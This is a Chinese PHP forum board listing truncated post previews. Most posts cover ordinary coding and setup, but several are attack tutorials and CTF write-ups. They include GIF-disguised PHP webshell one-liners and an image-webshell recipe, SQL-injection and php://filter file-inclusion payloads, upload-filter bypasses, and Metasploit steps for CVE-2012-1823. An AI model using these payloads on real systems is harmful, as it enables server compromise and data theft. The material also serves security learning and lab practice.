ios /安卓开发
软件开发工具包/Android原生开发工具包相关文档和高级学习教学。
1,467个主题在此版块
-
字符串操作 字符串查找 # 查找首次出现的位置,不区分大小写 stripos(string, needle [, offset]) echo stripos("xyC", "c"); //2 # 查找首次出现的位置,区分大小写 strpos(string, needle [, offset]) echo strpos("ABCabc", "c"); //5 # 查找最后一次出现的位置,不区分大小写 strripos(string, needle, [, offset]) echo strripos("ABCabcabcABC", "c"); //11 # 查找最后一次出现的位置,区分大小写 strrpos(string, needle, [, offset]) echo strrpos("ABCabcabcABC", "c"); //8 字符串截取 # 截取字符串 substr(string,start,length) echo substr("Hello world", 6); //world echo substr("Hello world", 6, 2); //wo # 截取中文字符串 mb_substr(string, start, length, encoding编码) echo mb_substr("你好啊", 0, 2, 'utf-8'); //你好 # 去除字符串两边的空格 trim(string, charlist删除那些字符) echo " Hello"; // Hello ech…
HACK1949的最后回复, -
文件目录操作 创建&关闭&删除 # 将文件读入一个字符串 file_get_contents() # 向文件中写入数据 fwrite()、file_put_contents() # 创建目录 mkdir() # 删除 unlink() # 删除目录 rmdir() 查&改 # 打开和关闭文件 fopen()、fclose() # 创建临时文件 tmpfile(),关闭临时文件fclose() # 读取文件内容 fread() # 从文件中读取一个字符 fgetc() # 逐行读取文件 gets()、fgetss() # 读取全部文件 readfile() # 把整个文件读入一个数组中 file() # 获取文件属性 ## 检查文件或目录是否存在file_exists() ## 获取文件大小 filesize() # 是否是目录 is_dir() # 打开目录 opendir(),关闭目录 closedir() # 读取目录下的文件及文件夹 readdir()、scandir() # 重命名文件 rename() # 复制文件 copy() 遍历文件夹下所有文件和文件夹 function my_scandir($dir) { $files = []; if($handle = opendir($dir)) { while(($file = readdir($handle)) !== false) { if($file != ".." &&…
HACK1949的最后回复, -
- 0 篇回复
- 91 次查看
PHP8的特性? 1、jit即时编译器。jit在opcache优化之后的基础上,结合runtime的信息再次优化,直接生成机器码。jit不是opcache优化的代替,是增强。 2、match表达式,用于变量的值转换与赋值。 3、联合类型。 支持声明并接受多个不同类型的,它是两种或多钟类型的集合。 4、static返回类型。PHP 8 中支持 static 返回类型将更加高效。 5、弱映射WeakMap。允许数组中的key放入对象。 6、类的变更、使用 1、可变参数继承(鸡肋),允许 2、后期静态绑定(LSB)(有用),对框架级别的封装、一些工厂设计模式有用。 3、现在可以使用以下方法获取对象的类名称 4、现在,new 和 instanceof 可以与任意表达式一起使用,使用new(expression)(... $args) 和 $obj instanceof(expression)。 5、现在允许写。 6、添加 Stringable 接口(作用一般,用在视图模板封装)。 7、trait 现在可以定义抽象的私有方法。 PHP7的新特性?(与PHP5区别) 1、标量类型声明和返回值类型声明。 2、null合并运算符(??) 3、命名空间引用 use 加强:从同一 namespace 导入的类、函数和常量现在可以通过单个 use 语句 一次性导入了 4、匿名类:现在支持通过new class 来实例化一个匿名类 5、性能比php5提升2倍。 6、支持64位。 为什么php7比php5性能提升了? 1、变量存储字节减小。减少…
HACK1949的最后回复, -
- 0 篇回复
- 101 次查看
需求场景说明 对接的三方商家需要进行文件传输,并且对方提供的方式是 sftp 的服务器账号,我们需根据他们提供的目录进行下载和上传指定文件。 安装 composer require phpseclib/phpseclib:~3.0 使用sftp功能 1.新建并设置config/sftp.php文件 return [ 'sftp' => [ 'host' => env('SFTP_HOST', '127.0.0.1'), 'port' => env('SFTP_PORT', 22), 'user' => env('SFTP_USE', null), 'password' => env('SFTP_PASSWORD', null), ], ]; 2.配置.env文件 SFTP_HOST=127.0.0.1 SFTP_PORT=22 SFTP_USE=user SFTP_PASSWORD=password 3.封装 app/Utils/SftpHelper.php调用库文件,通过单例可设置不同的 sftp 服务器 namespace App\Utils; use phpseclib3\Net\SFTP; class SftpHelper { private static $instance = []; public static function getInstance($key='sftp…
HACK1949的最后回复, -
- 0 篇回复
- 87 次查看
PhpStorm2022更新了,最新PhpStorm 2022.2版本应该了新的变化。PhpStorm 2022.2 是一项重大更新,具有 Mockery 和 Rector 支持、增强的泛型和枚举支持、调试器和 HTTP 客户端改进等。 PhpStorm mac中文版下载https://www.macw.com/mac/3789.html?id=ODA2NCZfJjI3LjE4Ni4xMjQuNA%3D%3D PhpStorm win激活版下载https://soft.macxf.com/soft/2728.html?id=MjkzOTU%3D PhpStorm 2022.2 最新变化 Mockery 支持 PhpStorm 2022.2 引入了对流行模拟对象框架Mockery的支持。 我们对大部分 Mockery 功能、有助于改进工作流的检查、界面模拟等提供自动补全支持。 Rector 支持 此版本的第二个主要更新是对 Rector 的支持,Rector 是用于管理 PHP 升级和批量重构的自动化工具。 您现在可以从 PhpStorm 运行 Rector,使用便捷的差异视图查看文件更改,以及深入管理其配置。 PHP 泛型 最后,我们改进了对泛型的支持。 此版本添加了对整数的最小值和最大值的支持,改进了对集合的支持,还改进了闭包的类型推断。 高亮显示失败的测试断言 有测试断言失败时,PhpStorm 会高亮显示失败的行,并允许使用新的上下文菜单建议从失败的行重新运行测试。 在失败的行上按 Alt+Ent…
HACK1949的最后回复, -
- 0 篇回复
- 85 次查看
首先下载composer安装包,地址 https://getcomposer.org/Composer-Setup.exe 然后下一步,这里选择你的PHP版本,就是PHP所安装的位置 然后一直下一步,直到看到下图这样的就可以了
HACK1949的最后回复, -
文件上传概要 变形的一句话木马 GIF89a #define width 1337 #define height 1337 #只支持php5 <script language="php">@eval($_POST[cmd]);phpinfo();</script> php7适用 GIF89a #define width 1337 #define height 1337 <?=@eval($_POST[CMD]); 制作图片马的方法 准备一个一句话木马1.php和一个正常的图片2.jpg放到同一个文件夹 copy 1.jpg/b+1.php/a 2.jpg 写马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>')?> 解析漏洞 Apache解析漏洞 apache1.x 2.x中,文件名的解析具有以下特性,Phpshell.php.rar 因为apache不认识.rar文件类型,所以会一直遍历后缀到.php ,认为这是一个php文件 IIS解析漏洞 1.当文件名为abc.asp;xx.jpg时,IIS6会将文件解析为abc.asp;与0x00截断文件名类似,只是截断符变成了 ";" …
HACK1949的最后回复, -
- 0 篇回复
- 112 次查看
前台html服务器,测试的时候不加缓存 server { listen 82; root D:/phpStudy/WWW/xxx; index index.html index.htm; location ~ .*\.(css|js|swf|htm|html)$ { add_header Cache-Control no-store; } } php项目 laravel , thinkphp , Ci 都用这个 server { listen 83; root D:\phpStudy\WWW\xxx\public; index index.html index.htm index.php; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 一般的php项目,例如测试的,非框架 server { listen 80; server_name mytest.com test.com; root "D:/phpStudy/WWW/test.com"; location /…
HACK1949的最后回复, -
- 0 篇回复
- 94 次查看
PHP 中的安全性 在编写 PHP 代码时,牢记以下安全漏洞非常重要,以避免编写不安全的代码。 漏洞类型 这些是您在编写 PHP 代码时会遇到的常见漏洞。我们将在下面更深入地讨论一些。 Cross Site Request Forgery由于程序员没有检查请求从哪里发送而导致的应用程序中的一个漏洞——这种攻击被发送给高权限级别的用户以获得对应用程序的更高级别的访问权限。 跨站脚本程序员在将输入输出到浏览器之前没有清理输入(例如博客上的评论)导致的应用程序漏洞。它通常用于在浏览器中运行恶意 javascript 来进行攻击,例如窃取会话 cookie 以及其他恶意操作,以在应用程序中获得更高级别的权限。 本地文件包含由程序员需要用户提供的文件输入并且在访问请求的文件之前未清理输入而导致的应用程序漏洞。这会导致文件被包含在不应该包含的位置。 远程文件包含由程序员需要用户提供的文件输入并且在访问请求的文件之前未对输入进行清理而导致的应用程序漏洞。这会导致从远程服务器中提取文件并将其包含在不应该存在的位置。 会话劫持攻击者获得对用户会话标识符的访问权并能够使用另一个用户的帐户来冒充他们而导致的漏洞。这通常用于访问管理用户的帐户。 Session Identifier Acquirement Session Identifier Acquirement 是攻击者能够猜测用户的会话标识符或利用应用程序本身或用户浏览器中的漏洞获取会话标识符而导致的漏洞。 SQL 注入由程序员在将输入包含到数据库查询之前未清理输入而导致的应用程序漏洞。这导致攻击者拥…
HACK1949的最后回复, -
- 0 篇回复
- 105 次查看
$save_dir = storage_path('app') . '/public/' . mt_rand(99, 999) . time() . '_video' . ".mp4"; //保存原视频 $out_dir = storage_path('app') . '/public/' . mt_rand(99, 999) . time() . '_smallVideo' . ".mp4"; //压缩后的视频 $rs_video = $this->reduceVideo($oss_url, $out_dir, $save_dir); if ($rs_video == false) { continue; //压缩视频失败 } //视频压缩 public function reduceVideo($oss_url,$out_dir,$save_dir){ $r = file_put_contents($save_dir, file_get_contents($oss_url)); if(!$r) return false; $toSize = "8M"; //最大不超过8M //判断文件大小 $file_size = filesize($save_dir); $file_size = intval($file_size / 1048576); if($file_s…
HACK1949的最后回复, -
- 0 篇回复
- 94 次查看
composer安装和laravel本地环境配置(十分钟左右) 1.安装composer (1)需要安装php(以phpstudy集成开发环境为例) 桌面找到phpstudey 图标,鼠标右击 ->选择 ‘文件所在的位置’-> 按下back(<----)键 即(F12下面的键)-> 打开Extensions文件夹->选择php文件夹->选择一个php版本点开文件夹 配置环境变量 然后连续点击三个确定按钮 是否配置成功测试: Windows 徽标键 (键盘左下角第二个 四个方块的键) 输入cmd。如图: 点击确定 然后输入php -v 如图: (2)安装composer 下载这个文件(最好用迅雷下载 快) https://getcomposer.org/download/2.0.8/composer.phar 把该文件复制到php根目录,也就是和 php.exe 在同一级目录。 然后在 PHP 安装目录下新建一个 composer.bat 文件,并将下列代码保存到此文件中。 @php "%~dp0composer.phar" %* 该过程来源于composer官网 检查新开启一个cmd窗口(开启方式如上图Windows 徽标键 +R 输入cmd ) 直接输入命令 : composer-v 到此composer安装完成 (3)composer 配置成阿里云镜像 所有…
HACK1949的最后回复, -
- 0 篇回复
- 93 次查看
登录帝国CMS,正确输入账户密码后,还会跳出提示“您还未登录”; 问题分析,登录相关的缓存写入权限不够导致的登录回跳。 解决方法: 1.修改 /e/data/adminlogin 文件夹下,index.php的权限,一般是因为权限为644,改为755及以上就可。 2.修改 /e/config/config.php文件内,$ecms_config['cks']['ckdomain'],将值改为空或者当前域名,例如:abc.com。
HACK1949的最后回复, -
- 0 篇回复
- 104 次查看
这关一进来一个登录框,一个注册框,题目没给什么提示 先注册一个试试(但是注册完之后退不回去了 需要重新开一个浏览器) 注册完随便点一点,发现URL有点异样 http://111.200.241.244:54356/view.php?no=1 看起来又是个SQL注入 先加个单引号——果然报错了 接着用order by 测试出来有四个字段 常规的联合查询注入搞一下union select(我猜应该没这么简单) 但是!union select 不行 ,我们试试union all select(成功绕过) ?no=0 union all select 1,database(),3,4 --+ 数据库名fakebook ?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables --+ 拿到所有表名字 ?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ 字段名users ?no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ 字段值 …
HACK1949的最后回复, -
- 0 篇回复
- 95 次查看
题目描述 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统 打开题目 先进来随便点点看看有什么功能 除了“设备维护中心”,其他都没反应,对应了题目,那么应该在这里做文章了 路径是这个:http://61.147.171.105:50657/index.php 御剑扫了一下后台没扫出来什么有利用价值的东西 右键查看一下源代码 二话不说,访问就对了 有回显 猜测可能是文件包含 看到page,联想到这题可能是文件包含,试一下index改成 /etc/passswd 八九不离十了 利用php伪协议 ?page=php://filter/read=convert.base64-encode/resource=index.php 获得源码 解密一下 <?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="vi…
HACK1949的最后回复, -
- 0 篇回复
- 94 次查看
时间:August 9 2022 测试发现不可以上传以.ph开头的后缀名文件。于是想到上传.htaccess文件+上传图片马的方式执行webshell,结果并没有成功。 为啥失败了呢?原来题目环境用的是Nginx服务器而不是Apache。而.htaccess是Apache的配置文件。 查资料发现.user.ini文件也可以构成php后门。这也是本题的考点之一。 一些技巧 绕过exif_imagetype() exif_imagetype() 读取一个图像的第一个字节并检查其签名。 具体可以参考:https://www.php.net/manual/zh/function.exif-imagetype.php 下表给出了常见的图片文件及其文件头部(header),文件头部中包含了签名部分。 image type signature description .gif GIF 16进制(47 49 46) 签名字段为header的前三个字节:GIF,后三个字节89a为版本字段 .jpg 十六进制 FF D8 FF E0 FF D8 是一种marker type,表示jpg图片的开始 .png 十六进制 89 50 4E 47 0D 0A 1A 0A A PNG file is composed of an 8-byte signature header, followed by any number of chunks that contain control data / metadata / image data. 提示…
HACK1949的最后回复, -
- 0 篇回复
- 109 次查看
PHP CGI漏洞利用 今日复现一个早期的漏洞,PHP CGI漏洞,代号为cve:2012-1823,该漏洞暂时只能攻击linux系统,属于linux漏洞 使用工具:攻击机kali linux、靶机metasploitable linux 具体步骤如下: 1.登入msfconsloe 2.搜索漏洞代号,输入 search cve:2012-1823 3.复制粘贴exploit/multi/http/php_cgi_arg_injection 或者use 0 详细如下: msf > use exploit/multi/http/php_cgi_arg_injection 或者 msf > use 0 4.进行相关设置 msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.30.141 rhosts => 192.168.30.141 msf6 exploit(multi/http/php_cgi_arg_injection) > msf6 exploit(multi/http/php_cgi_arg_injection) > show options 5.开始攻击 msf6 exploit(multi/http/php_cgi_arg_injection) > exploit 6.攻击成功,输入shell,可进入被攻击方的命令提示符,权限为系统管理员权限 meterpreter &…
HACK1949的最后回复, -
- 0 篇回复
- 85 次查看
php:面向对象之成员变量(数组) 一、PHP源码 1 <?php 2 3 class DATA{ 4 public $dlt_data = ""; 5 6 // set value of $dlt_data by ARRAY 7 function set_array_value($array_type) 8 { 9 $this->dlt_data = $array_type; 10 } 11 12 // set value of '$DATA->dlt_data' by key and value. 13 function set_key_value($key, $value) 14 { 15 $this->dlt_data[$key]=$value; 16 } 17 } 18 19 20 function display_data($DATA_type) 21 { 22 foreach($DATA_type->dlt_data as $k=>$v) 23 { 24 echo $k . " => " . $v …
HACK1949的最后回复, -
- 0 篇回复
- 93 次查看
php:输出关联数组特定范围的数据 一、php源码(将“关联数组”转化为“索引数组”,然后输出) 1 <?php 2 3 // define data structure 4 class SCOPE 5 { 6 private $scp_start=""; 7 private $scp_end=""; 8 9 public function set_start($scp_start) 10 { 11 $this->scp_start=$scp_start; 12 } 13 14 public function get_start() 15 { 16 return $this->scp_start; 17 } 18 19 public function set_end($scp_end) 20 { 21 $this->scp_end=$scp_end; 22 } 23 24 public function get_end() 25 { 26 return $th…
HACK1949的最后回复, -
- 0 篇回复
- 97 次查看
一、ping扫描C段 nmap -sP 192.168.178.1/24 ————》获取IP 二、端口扫描 nmap -p 1-65535 -A 192.168.178.133 ——》获取80 22端口 补充:端口扫描其他方法 netdiscover -p arp-scan ? 三、目录扫描 dirb http://192.168.178.133 --> 获取index.php,image.php dirb http://192.168.178.133 -X .php,.txt,.zip ———》获取secrt.txt文件 curl http://192.168.178.133/secrt.txt ——》获取fuzz方法获取参数提醒,获取location.txt文件提醒 补充学习:目录扫描其他方法 nikto -host 192.168.178.133 四、FUZZ获取参数名 wfuzz -w /usr/share/wfuzz/wordlist/genrual/commom.txt http://192.168.178.133/index.php?FUZZ wfuzz -C -w /usr/share/wfuzz/wordlist/genrual/commom.txt --hw 12 http://192.168.178.133/index.php?FUZZ ——》获取fuzz参数为file curl http://192.168.178.133/index.php?file=loc…
HACK1949的最后回复, -
- 0 篇回复
- 93 次查看
php:php以脚本的方式运行 一、php源码 1 [root@rockylinux php]# 2 [root@rockylinux php]# uname -a 3 Linux rockylinux 4.18.0-372.19.1.el8_6.x86_64 #1 SMP Tue Aug 2 16:19:42 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 4 [root@rockylinux php]# 5 [root@rockylinux php]# pwd 6 /root/user/lidawei/program/php 7 [root@rockylinux php]# 8 [root@rockylinux php]# ls 9 test.php 10 [root@rockylinux php]# 11 [root@rockylinux php]# whereis php 12 php: /usr/bin/php /usr/lib64/php /etc/php.d /etc/php.ini /usr/share/php /usr/share/man/man1/php.1.gz 13 [root@rockylinux php]# 14 [root@rockylinux php]# cat test.php 15 #!/usr/bin/php 16 17 18 <?php 19 20 $var1="PHP…
HACK1949的最后回复,